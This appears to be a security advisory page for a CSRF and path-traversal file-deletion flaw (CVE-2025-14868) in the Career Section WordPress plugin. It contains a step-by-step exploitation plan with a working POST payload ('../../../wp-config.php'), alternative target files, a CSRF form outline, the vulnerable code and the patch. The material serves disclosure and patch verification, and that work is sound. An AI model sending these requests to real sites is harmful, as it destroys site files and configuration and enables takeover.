Career Section <= 1.6 - Cross-Site Request Forgery to Arbitrary File Deletion
Description
The Career Section plugin for WordPress is vulnerable to Cross-Site Request Forgery leading to Path Traversal and Arbitrary File Deletion in all versions up to, and including, 1.6. This is due to missing nonce validation and insufficient file path validation on the delete action in the 'appform_options_page_html' function. This makes it possible for unauthenticated attackers to delete arbitrary files on the server via a forged request, granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HTechnical Details
<=1.6What Changed in the Fix
Changes introduced in v1.7
Source Code
WordPress.org SVNThis research plan outlines the exploitation strategy for CVE-2025-14868, a Path Traversal and Arbitrary File Deletion vulnerability in the "Career Section" WordPress plugin. ### 1. Vulnerability Summary The `appform_options_page_html` function in `include/top_level_menu.php` fails to validate user…
Show full research plan
This research plan outlines the exploitation strategy for CVE-2025-14868, a Path Traversal and Arbitrary File Deletion vulnerability in the "Career Section" WordPress plugin.
1. Vulnerability Summary
The appform_options_page_html function in include/top_level_menu.php fails to validate user-supplied input in the delete_file POST parameter and lacks CSRF protection (no nonce validation). The plugin concatenates this parameter to a pre-defined upload directory and passes it to wp_delete_file(). Because sanitize_text_field() does not strip path traversal sequences (../), an attacker can delete arbitrary files on the server by tricking an administrator into submitting a forged request.
2. Attack Vector Analysis
- Vulnerable Endpoint:
/wp-admin/admin.php?page=appform - Vulnerable Parameter:
delete_file(POST) - Trigger Parameter:
delete_id(POST) must be set to enter the vulnerable code block. - Authentication: Requires a session with
manage_optionscapability (typically Administrator). This is exploited via CSRF. - Vector: Path Traversal (
../) leading to Arbitrary File Deletion.
3. Code Flow
- Entry Point: The administrator visits
wp-admin/admin.php?page=appformor is forced to submit a POST request to it via CSRF. - Hook: The
csaf_options_pagefunction (ininclude/top_level_menu.php) registers theappform_options_page_htmlcallback for theappformsubmenu page. - Vulnerable Logic: Inside
appform_options_page_html():- The function checks if
isset( $_POST['delete_id'] ). - It initializes the WordPress filesystem:
WP_Filesystem(). - It defines the target directory:
$target_dir_location = $wp_filesystem->wp_content_dir() . 'uploads/cs_applicant_submission_files/';. - It captures the filename:
$file_path = $target_dir_location . sanitize_text_field($_POST['delete_file']);. - It executes the deletion:
wp_delete_file( $file_path );.
- The function checks if
- Sink:
wp_delete_file()(a WordPress wrapper forunlink()).
4. Nonce Acquisition Strategy
This vulnerability is specifically caused by the absence of nonce validation.
- Reviewing
include/top_level_menu.php, the "Delete" form used for submissions does not include a nonce field. - The only nonce present in the file is
wp_nonce_field('update-options'), which is associated with a different form (Save Settings) that submits tooptions.php. - The vulnerable code block processing
delete_idanddelete_filedoes not callcheck_admin_referer()orwp_verify_nonce(). - Conclusion: No nonce is required to exploit this endpoint.
5. Exploitation Strategy
The goal is to delete a sensitive file (e.g., wp-config.php) or a test file in the WordPress root.
Step-by-Step Plan:
- Identify Path: The target directory is
wp-content/uploads/cs_applicant_submission_files/. - Calculate Traversal: To reach the WordPress root (where
wp-config.phpresides) from the target directory:..->wp-content/uploads/../..->wp-content/../../../-> WordPress root directory.
- Construct Payload:
delete_file=../../../wp-config.php. - Formulate Request:
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin.php?page=appform - Body:
delete_id=1&delete_file=../../../wp-config.php(Note:delete_iddoesn't need to exist in the database; the file deletion logic occurs independently of whether the DB delete succeeded).
- Method:
6. Test Data Setup
- Ensure the "Career Section" plugin is installed and active.
- Create a canary file in the WordPress root to safely test deletion:
wp eval "file_put_contents(ABSPATH . 'pwn.txt', 'test');" - Ensure an administrator user exists (standard in test environments).
7. Expected Results
- The HTTP request will return a
200 OKresponse containing the message:"Application permanently deleted."(added viaadd_settings_errorin the code). - The file
pwn.txt(orwp-config.php) will be removed from the server.
8. Verification Steps
- Verify via CLI:
wp eval "echo file_exists(ABSPATH . 'pwn.txt') ? 'Exists' : 'Deleted';" - Check the WordPress database table to see if the row with
id=1was attempted to be deleted (optional):wp db query "SELECT * FROM wp_cs_applicant_submissions WHERE id=1"
9. Alternative Approaches
- Targeting Other Files: If
wp-config.phpis protected by file permissions, attempt to deleteindex.phpor a file withinwp-content/plugins/career-section/index.phpto prove arbitrary deletion. - Traversal Depth: If the environment uses a non-standard
WP_CONTENT_DIR, the traversal depth might vary. Test../../../../wp-config.phpas a backup. - Database Entry: While not strictly required by the code logic, some environments might fail if
$wpdb->deletereturns an error. If the exploit fails, create a dummy entry first:wp db query "INSERT INTO wp_cs_applicant_submissions (id, first_name, last_name, cv) VALUES (1, 'Test', 'User', 'test.pdf')"
Summary
The Career Section plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) and Path Traversal in the 'appform_options_page_html' function. Due to a lack of nonce validation and insufficient filtering on the 'delete_file' parameter, attackers can trick an administrator into deleting arbitrary files from the server, such as wp-config.php.
Vulnerable Code
// include/top_level_menu.php L28-41 if ( isset( $_POST['delete_id'] ) ) { //delete db raw global $wpdb; $table_name = $wpdb->prefix . "cs_applicant_submissions"; $wpdb->delete( $table_name, array( 'id' => sanitize_text_field($_POST['delete_id'] )) ); //delete files global $wp_filesystem; WP_Filesystem(); $content_directory = $wp_filesystem->wp_content_dir() . 'uploads/'; $target_dir_location = $content_directory . 'cs_applicant_submission_files/'; $file_path = $target_dir_location.sanitize_text_field($_POST['delete_file']); // path of the file which need to be deleted. wp_delete_file( $file_path ); //delete file here.
Security Fix
@@ -25,13 +29,26 @@ return; } // check if the user have submitted the settings - if ( isset( $_POST['delete_id'] ) ) { + if ( isset( $_POST['delete_id'], $_POST['delete_applicant_nonce'] ) ) { + + // 1️⃣ Unsanitize POST data + $delete_id = intval( wp_unslash( $_POST['delete_id'] ) ); + $nonce = sanitize_text_field(wp_unslash( $_POST['delete_applicant_nonce'] )); + $delete_file = sanitize_text_field(wp_unslash( $_POST['delete_file'] ?? '')); + $delete_file = basename($delete_file); // removes any "../" path segments + + // 2️⃣ Verify nonce + if ( ! wp_verify_nonce( $nonce, 'delete_applicant_' . $delete_id ) ) { + wp_die( esc_html__( 'Nonce verification failed', 'career-section' ) ); + } + + //delete db raw global $wpdb; $table_name = $wpdb->prefix . "cs_applicant_submissions"; - $wpdb->delete( $table_name, array( 'id' => sanitize_text_field($_POST['delete_id'] )) ); + $wpdb->delete( $table_name, array( 'id' => sanitize_text_field($delete_id)) ); //delete files global $wp_filesystem; WP_Filesystem(); $content_directory = $wp_filesystem->wp_content_dir() . 'uploads/'; $target_dir_location = $content_directory . 'cs_applicant_submission_files/'; - $file_path = $target_dir_location.sanitize_text_field($_POST['delete_file']); // path of the file which need to be deleted. + $file_path = $target_dir_location.sanitize_text_field($delete_file); // path of the file which need to be deleted. wp_delete_file( $file_path ); //delete file here.
Exploit Outline
The exploit target is the plugin's administration page at '/wp-admin/admin.php?page=appform'. An attacker must craft a malicious HTML page containing a CSRF form that sends a POST request to this endpoint with two parameters: 'delete_id' (to trigger the vulnerable block) and 'delete_file' (containing the traversal payload, e.g., '../../../wp-config.php'). Because the plugin lacks CSRF protection (no nonce validation) and uses 'sanitize_text_field' (which does not remove '../' sequences), an authenticated administrator visiting the attacker's page will unknowingly trigger the deletion of sensitive files from the WordPress root directory.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.